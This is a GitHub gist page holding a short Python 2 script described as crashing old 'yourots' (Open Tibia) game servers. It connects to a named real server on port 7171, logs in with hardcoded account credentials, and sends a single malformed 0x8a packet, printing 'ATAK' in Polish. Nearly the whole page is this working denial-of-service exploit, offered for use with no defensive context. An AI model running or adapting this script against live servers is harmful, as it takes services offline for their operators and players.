Skip to content

Instantly share code, notes, and snippets.

@ekiro
Last active May 23, 2019 09:33
Show Gist options
  • Save ekiro/5852970 to your computer and use it in GitHub Desktop.
Save ekiro/5852970 to your computer and use it in GitHub Desktop.
Crashes old yourots servers.
#!/usr/bin/env python
# -*- encoding=utf8 -*-
__author__ = 'Piotr "Kiro" Karkut'
__license__ = "BSD"
import socket
from struct import *
from time import sleep
import os
dane = ("selora.eu",123432,"lol123","Kiro")
def addMessageLenght(msg):
retLen = len(msg);
ret = msg
ret = chr(retLen % 256)+chr(retLen / 256) + ret
return ret
def addString(str):
strLen = len(str)
ret = chr(strLen % 256)+chr(strLen / 256) + str
return ret
def getU32(num):
return pack("<l",num)
def getLoginPacket(num, pswdm, char):
msg = chr(0x0A)+chr(0x02)+chr(0x00)+chr(0xF8)+chr(0x02)+chr(0x00)
msg = msg + getU32(num)
msg = msg + addString(char)
msg = msg + addString(pswdm)
msg = addMessageLenght(msg)
return msg
def kill(tab):
print u"> Łączenie do", tab[0]
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((tab[0], 7171))
print ">> Logowanie"
s.send(getLoginPacket(tab[1],tab[2],tab[3]))
sleep(1)
re = s.recv(1024)
if len(re) == 0 or re[2] == 0x14:
print u"::Twoja postać jest już zalogowana, zbanowana, dane są nieprawidłowe lub coś jeszcze innego"
return
print ">>> ATAK"
s.send(addMessageLenght(chr(0x8a)))
sleep(1)
print u">>>> Rozłączenie"
s.close()
print "::Atak przeprowadzony"
if __name__ == "__main__":
os.system("cls")
print "::Simple crasher by Kiro\n"
try:
kill(dane)
except socket.error:
print u"::Nie można się połączyć!"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment